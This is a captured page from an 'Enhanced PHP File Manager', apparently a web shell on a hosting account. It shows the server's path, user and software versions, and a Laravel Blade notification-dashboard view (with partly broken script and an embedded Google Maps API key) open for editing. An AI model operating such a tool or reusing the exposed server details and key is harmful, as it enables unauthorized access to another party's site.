Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.34.1.lve.el8.x86_64

PHP Version:

8.1.34

User:

u823300664

Directory:

/home/u823300664/public_html/app.allspikes.in/resources/views/Admin/Notifications

Free Space:

1.89 TB

🔧 Quick Actions

✏️ Editing: notification-history.blade.php

@extends('Admin.layouts.app')
@section('styles')
<style type="text/css">
    #map
    {
        width: 100%;
        height: 295px;
        margin-top:10px;
    }

#address
    {
        z-index: 999;
        position: relative;
        left: 0px !important;
        top: 0px;
        width: 100% !important;
        border: 1px solid #ccc;
        background: #fff;
        padding:4px;
    }

.gmnoprint
    {
        margin-top: 33px !important;
    }

#spingif
    {
        display:none;
    }

.country-selector
    {
        padding:0;
    }

.lds-hourglass
    {
        height: 0;
        margin: 0;
        position: relative;
        width: 0;
        top: -48px;
        left: 87px;
    }
</style>
@endsection
@section('content')
<div class="page-header">
    <h1 class="page-title">
    </h1>
    <div>
        <ol class="breadcrumb">
            <li class="breadcrumb-item">
                {!! Html::decode(link_to_route('dashboard', app('translator')->get('messages.Admin'), null , array( 'class' => '') )); !!}
            </li>
            <li class="breadcrumb-item">
                {!! Html::decode(link_to_route('notification.index', app('translator')->get('messages.Send notification'), null , array( 'class' => '') )); !!}
            </li>
            <li class="breadcrumb-item active" aria-current="page">
                {{app('translator')->get('messages.Notification receive users')}}
            </li>
        </ol>
    </div>
</div>
@include('Admin.layouts.flash-message')
<div class="row">
    <div class="col-md-12 col-xl-12">
        <div class="card">
            <div class="card-header btn-primary">
                <h3 class="card-title">
                    <i class="mdi mdi-bell"></i>
                    {{app('translator')->get('messages.Notification receive users')}}
                </h3>
                <div class="card-options">
                    {!! Html::decode(link_to_route('notification.index','<i class="zmdi zmdi-mail-reply" ></i> '.app('translator')->get('messages.back'), null , array( 'class' => 'btn btn-back btn-sm ms-2') )); !!}
                </div>
            </div>
            <div class="card-body">
                <div class="row">

<div class="col-md-4 col-lg-4 col-xl-4">
                        <div class="card">
                            <div class="card-header card text-white bg-success">
                                <h3 class="card-title">
                                    {{app('translator')->get('messages.Total number of notifications to send')}}
                                </h3>
                            </div>
                            <div class="card-body text-center">
                                <div class="counter-icon bg-secondary-gradient box-shadow-secondary num-counter mx-auto"> <svg style="width:27px;height:27px" viewBox="0 0 24 24">
                                    <path fill="#fff" d="M16,14H17.5V16.82L19.94,18.23L19.19,19.53L16,17.69V14M17,12A5,5 0 0,0 12,17A5,5 0 0,0 17,22A5,5 0 0,0 22,17A5,5 0 0,0 17,12M17,10A7,7 0 0,1 24,17A7,7 0 0,1 17,24C14.21,24 11.8,22.36 10.67,20H1V17C1,14.34 6.33,13 9,13C9.6,13 10.34,13.07 11.12,13.2C12.36,11.28 14.53,10 17,10M10,17C10,16.3 10.1,15.62 10.29,15C9.87,14.93 9.43,14.9 9,14.9C6.03,14.9 2.9,16.36 2.9,17V18.1H10.09C10.03,17.74 10,17.37 10,17M9,4A4,4 0 0,1 13,8A4,4 0 0,1 9,12A4,4 0 0,1 5,8A4,4 0 0,1 9,4M9,5.9A2.1,2.1 0 0,0 6.9,8A2.1,2.1 0 0,0 9,10.1A2.1,2.1 0 0,0 11.1,8A2.1,2.1 0 0,0 9,5.9Z" />
                                </svg> </div>

<h2 class="counter">{{$total}}</h2>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-4 col-lg-4 col-xl-4">
                        <div class="card">
                            <div class="card-header card text-white bg-success">
                                <h3 class="card-title">
                                    {{app('translator')->get('messages.Number of remaining notifications')}}
                                </h3>
                            </div>
                            <div class="card-body text-center">
                                <div class="counter-icon bg-secondary-gradient box-shadow-secondary num-counter mx-auto"> <svg style="width:27px;height:27px" viewBox="0 0 24 24">
                                    <path fill="#fff" d="M16,14H17.5V16.82L19.94,18.23L19.19,19.53L16,17.69V14M17,12A5,5 0 0,0 12,17A5,5 0 0,0 17,22A5,5 0 0,0 22,17A5,5 0 0,0 17,12M17,10A7,7 0 0,1 24,17A7,7 0 0,1 17,24C14.21,24 11.8,22.36 10.67,20H1V17C1,14.34 6.33,13 9,13C9.6,13 10.34,13.07 11.12,13.2C12.36,11.28 14.53,10 17,10M10,17C10,16.3 10.1,15.62 10.29,15C9.87,14.93 9.43,14.9 9,14.9C6.03,14.9 2.9,16.36 2.9,17V18.1H10.09C10.03,17.74 10,17.37 10,17M9,4A4,4 0 0,1 13,8A4,4 0 0,1 9,12A4,4 0 0,1 5,8A4,4 0 0,1 9,4M9,5.9A2.1,2.1 0 0,0 6.9,8A2.1,2.1 0 0,0 9,10.1A2.1,2.1 0 0,0 11.1,8A2.1,2.1 0 0,0 9,5.9Z" />
                                </svg> </div>

<h2 class="counter">{{ ($total) - ($totalSend) }}</h2>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-4 col-lg-4 col-xl-4">
                        <div class="card">
                            <div class="card-header card text-white bg-success">
                                <h3 class="card-title">
                                    {{app('translator')->get('messages.Number of notifications sent successfully')}}
                                </h3>
                            </div>
                            <div class="card-body text-center">
                                <div class="counter-icon bg-secondary-gradient box-shadow-secondary num-counter mx-auto"> <svg style="width:27px;height:27px" viewBox="0 0 24 24">
                                    <path fill="#fff" d="M16,14H17.5V16.82L19.94,18.23L19.19,19.53L16,17.69V14M17,12A5,5 0 0,0 12,17A5,5 0 0,0 17,22A5,5 0 0,0 22,17A5,5 0 0,0 17,12M17,10A7,7 0 0,1 24,17A7,7 0 0,1 17,24C14.21,24 11.8,22.36 10.67,20H1V17C1,14.34 6.33,13 9,13C9.6,13 10.34,13.07 11.12,13.2C12.36,11.28 14.53,10 17,10M10,17C10,16.3 10.1,15.62 10.29,15C9.87,14.93 9.43,14.9 9,14.9C6.03,14.9 2.9,16.36 2.9,17V18.1H10.09C10.03,17.74 10,17.37 10,17M9,4A4,4 0 0,1 13,8A4,4 0 0,1 9,12A4,4 0 0,1 5,8A4,4 0 0,1 9,4M9,5.9A2.1,2.1 0 0,0 6.9,8A2.1,2.1 0 0,0 9,10.1A2.1,2.1 0 0,0 11.1,8A2.1,2.1 0 0,0 9,5.9Z" />
                                </svg> </div>

<h2 class="counter">{{$totalSend}}</h2>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <div class="col-xl-12 col-sm-12">
                        <div class="progress progress-md">
                            <div class="progress-bar progress-bar-striped progress-bar-animated  bg-info" style="width: {{$percentage}}%;">{{$percentage}}%</div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
@endsection
@section('scripts')
{!!Html::script(asset('assets/plugins/select2/select2.full.min.js'))!!}
{!!Html::script(asset('assets/js/select2.js'))!!}

var checkteck = 0;
    $(".dimmer").hide();

$.ajaxSetup({
        headers: {
            'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
        }
    });

$(document).ready(function(){
        $('.toggle-selected-user').hide();
    });

$('#srcradius').on('change keyup', function() {
        var sanitized = $(this).val().replace(/[^0-9]/g, '');
        $(this).val(sanitized);
    });

$(".toggle-radio").change(function ()
    {

var userType = $("input[name='user_type']:checked").val();
        switch (userType)
        {
            case '1':
                $('.toggle-selected-user').hide();
                $('#address').attr('disabled',false);
            break;
            case '2':
                $('.toggle-selected-user').show();
                $('#address').attr('disabled',true);
            break;
            default:
                $('.toggle-selected-user').hide();
                $('#address').attr('disabled',false);
            break;
        }

});

$('#address').focusout(function(e)
    {
        $("#userCount").hide();
        $(".dimmer").show();
        setTimeout(function()
        {
            var latitude = jQuery('#latitude').val();
            var longitude = jQuery('#longitude').val();
            var srcradius = jQuery('#srcradius').val();
            var user_type = $("input[name='user_type']:checked").val();
            $.ajax({
                url : '{{route("notification.user_count")}}',
                data : { latitude : latitude, longitude : longitude, srcradius : srcradius, user_type : user_type },
                type : 'POST',
                success: function(response)
                {
                    $(".dimmer").hide();
                    $("#userCount").show();
                    $("#userCount").html(response);
                    $("#totalusercount").val(response);
                }
            });
        },1000);
    });

$('#srcradius').change(function(e)
    {
        if(checkteck == 1)
        {
            checkteck = 0;
            return false;
        }
        checkteck = 1;
        if($("#address").val() == '')
        {
            alert("please select an address");
            return false;
        }
        $("#userCount").hide();
        $(".dimmer").show();
        setTimeout(function()
        {
            var latitude = jQuery('#latitude').val();
            var longitude = jQuery('#longitude').val();
            var srcradius = jQuery('#srcradius').val();
            var user_type = $("input[name='user_type']:checked").val();

$.ajax({
                url : '{{route("notification.user_count")}}',
                type : 'POST',
                data : { latitude : latitude , longitude : longitude , srcradius : srcradius , user_type : user_type },
                success: function(response)
                {
                    $(".dimmer").hide();
                    $("#userCount").show();
                    $("#userCount").html(response);
                    $("#totalusercount").val(response);
                }
            });
        },1000);
    });

$('#srcradius').keyup(function(e)
    {
        if(checkteck == 1)
        {
            checkteck = 0;
            return false;
        }
        checkteck = 1;
        if($("#address").val() == '')
        {
            alert("please select an address");
            return false;
        }
        $("#userCount").hide();
        $(".dimmer").show();
        setTimeout(function()
        {
            var latitude = jQuery('#latitude').val();
            var longitude = jQuery('#longitude').val();
            var srcradius = jQuery('#srcradius').val();
            var user_type = $("input[name='user_type']:checked").val();

$('.select2').change(function()
    {
        var count = $(".select2 :selected").length;
        $("#userCount").html(count);
        $("#totalusercount").html(count);
        $("#totalusercount").val(count);
    });

function validateForm()
    {
        var userType = $('input[name="user_type"]:checked').val();
        if (userType == 1)
        {
            if($('#totalusercount').val() == 0)
            {
                alert("Merci de sélectionner le destinataire de votre notification.");
                return false;
                $("input[type=submit]").attr('disabled','disabled');
            }
        }

if($('#totalusercount').val() == 0)
        {
            alert("Users not found in this criteria.");
            return false;
            $("input[type=submit]").attr('disabled','disabled');
        }

return true;
    }

function initMap()
    {
        var map = new google.maps.Map(document.getElementById('map'), {
            center: {lat: -33.8688, lng: 151.2195},
            zoom: 13
        });

var input = document.getElementById('address');
        map.controls[google.maps.ControlPosition.TOP_LEFT].push(input);

var autocomplete = new google.maps.places.Autocomplete(input);
        autocomplete.bindTo('bounds', map);

var infowindow = new google.maps.InfoWindow();
        var marker = new google.maps.Marker({
            map: map,
            anchorPoint: new google.maps.Point(0, -29)
        });

autocomplete.addListener('place_changed', function()
        {
            infowindow.close();
            marker.setVisible(false);
            var place = autocomplete.getPlace();

if (!place.geometry)
            {
                window.alert("Autocomplete's returned place contains no geometry");
                return;
            }

// If the place has a geometry, then present it on a map.
            if (place.geometry.viewport)
            {
                map.fitBounds(place.geometry.viewport);
            }
            else
            {
                map.setCenter(place.geometry.location);
                map.setZoom(17);
            }

marker.setIcon(({
                url : place.icon,
                size : new google.maps.Size(71, 71),
                origin : new google.maps.Point(0, 0),
                anchor : new google.maps.Point(17, 34),
                scaledSize : new google.maps.Size(35, 35)
            }));

marker.setPosition(place.geometry.location);
            marker.setVisible(true);

var address = '';
            if (place.address_components)
            {
                address = [
                (place.address_components[0] && place.address_components[0].short_name || ''),
                (place.address_components[1] && place.address_components[1].short_name || ''),
                (place.address_components[2] && place.address_components[2].short_name || '')
                ].join(' ');
            }

infowindow.setContent('<div><strong>' + place.name + '</strong><br>' + address);
            infowindow.open(map, marker);

//Location details
            for (var i = 0; i < place.address_components.length; i++)
            {
                if(place.address_components[i].types[0] == 'postal_code')
                {
                    document.getElementById('postal_code').innerHTML = place.address_components[i].long_name;
                }

if(place.address_components[i].types[0] == 'country')
                {
                    document.getElementById('country').innerHTML = place.address_components[i].long_name;
                }
            }
            document.getElementById('address').value = place.formatted_address;
            document.getElementById('latitude').value = place.geometry.location.lat();
            document.getElementById('longitude').value = place.geometry.location.lng();
        });
    }
</script>
{!!Html::script('https://maps.googleapis.com/maps/api/js?key=AIzaSyCPF9Uw_4wIFB_mPoSyVA9LPoIA_DW_kcs&libraries=places&callback=initMap')!!}
@endsection

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: notification-history.blade.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation